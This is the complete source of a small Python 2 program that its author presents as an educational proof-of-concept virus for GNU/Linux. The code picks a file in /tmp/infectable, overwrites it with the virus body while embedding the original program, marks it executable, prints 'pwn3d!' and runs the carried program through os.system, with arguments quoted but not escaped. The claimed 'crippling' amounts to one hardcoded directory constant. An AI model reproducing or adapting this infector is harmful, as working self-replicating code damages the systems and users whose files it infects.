#!/usr/bin/python

# This is a proof of concept virus for GNU/Linux.  As you can see by
# running it it is possible to have viruses for GNU/Linux.
# Fortunately a sane privilege model will limit the amount of damage
# such a virus will do.

# I, Yannick Gingras <ygingras@ygingras>, wrote this virus for
# educational purpose.  I crippled it so it won't spread.  Use it at
# your own risks.

import sys
import os
import stat
import random
from tempfile import NamedTemporaryFile

TARGETS_DIR = "/tmp/infectable"
PRG = "echo hello" # will be replaced by the targets body
VIRUS = open(os.popen("which "+sys.argv[0]).read().strip()).readlines()
MODE = stat.S_IRWXU + stat.S_IROTH + stat.S_IXOTH

def infected(path):
    # not really good, we won't infect many files...
    return open(path).readline() == VIRUS[0]

def infect():
    if not os.path.isdir(TARGETS_DIR):
        return
    target = os.path.join(TARGETS_DIR,
                          random.choice(os.listdir(TARGETS_DIR)))
    if infected(target):
        return
    data = open(target).read()
    lines = map(lambda l:(len(l)>5 and l[:5]=="PRG =") \
                and ("PRG = " + repr(data) + "\n") or l,
                VIRUS)
    open(target, "w").write("".join(lines))
    os.chmod(target, MODE)

def run():
    print "pwn3d!"
    tmp = NamedTemporaryFile("w")
    tmp.write(PRG)
    tmp.file.close()
    os.chmod(tmp.name, MODE)
    os.system(tmp.name+" "+" ".join(map(lambda a:"'%s'" % a, sys.argv[1:])))

if __name__ == "__main__":
    random.seed()
    infect()
    run()

